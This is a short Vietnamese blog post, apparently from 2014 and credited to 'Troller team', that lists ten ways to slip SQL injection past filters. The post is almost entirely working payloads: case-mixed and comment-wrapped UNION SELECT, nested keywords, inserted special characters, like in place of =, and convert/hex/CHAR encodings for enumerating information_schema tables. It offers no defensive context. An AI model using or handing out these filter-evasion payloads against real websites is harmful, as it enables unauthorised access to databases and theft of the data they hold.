Showing posts with label Bybass Sqli. Show all posts
Showing posts with label Bybass Sqli. Show all posts

Tuesday, June 10, 2014

Bypass SQL injection

Một số cách Bypass SQL injection



Cách 1: thay ký tự thường bằng ký tự hoa

id=1+UnIoN SeLeCT 1,2,3,4-- -

Cách 2: dùng cặp thẻ /*!code*/

id=1+/*!UnIoN*/ /*!SeLeCT*/ 1,2,3,4-- -

Cách 3: dùng like thay cho = (khi dấu = bị chặn)

/*!TaBlE_ScHeMa*/+like+database()– -

Cách 4: Lồng Union và select

id=1+UNIunionON+SeLselectECT+1,2,3–

Cách 5 thêm ký tự null hoặc các ký tự đặc biệt vào giữa:

sel%0bect+1,2,3
id=1+uni*on+sel*ect+1,2,3–+
id=1+(UnIoN)+(SelECT)+
id=1+(UnIoN+SeLeCT)+
id=1+(UnI)(oN)+(SeL)(EcT)
id=1+’UnI”On’+'SeL”ECT’

Cách 6: dùng hàm convert():
convert(group_concat(table_name)+using+ascii)
convert(version() using latin1)
aes_decrypt(aes_encrypt(version(),1),1)
unhex(hex(@@version))
cast(version()+as+binary)
convert(version(),binary)
convert(version()+using+binary)

Cách 7: dùng char() để hiện thị users bị ẩn
CHAR(117, 115, 101, 114, 115)

Cách 8: show table ẩn:

group_concat(unhex(hex(table_name)))

cách 9: select
UNION all /*!50000SELECT*/

Cách 10 (ít dùng)thêm khoảng trắng tách từ
information_schema. tables thay cho information_schema.tables

Nguồn Troller team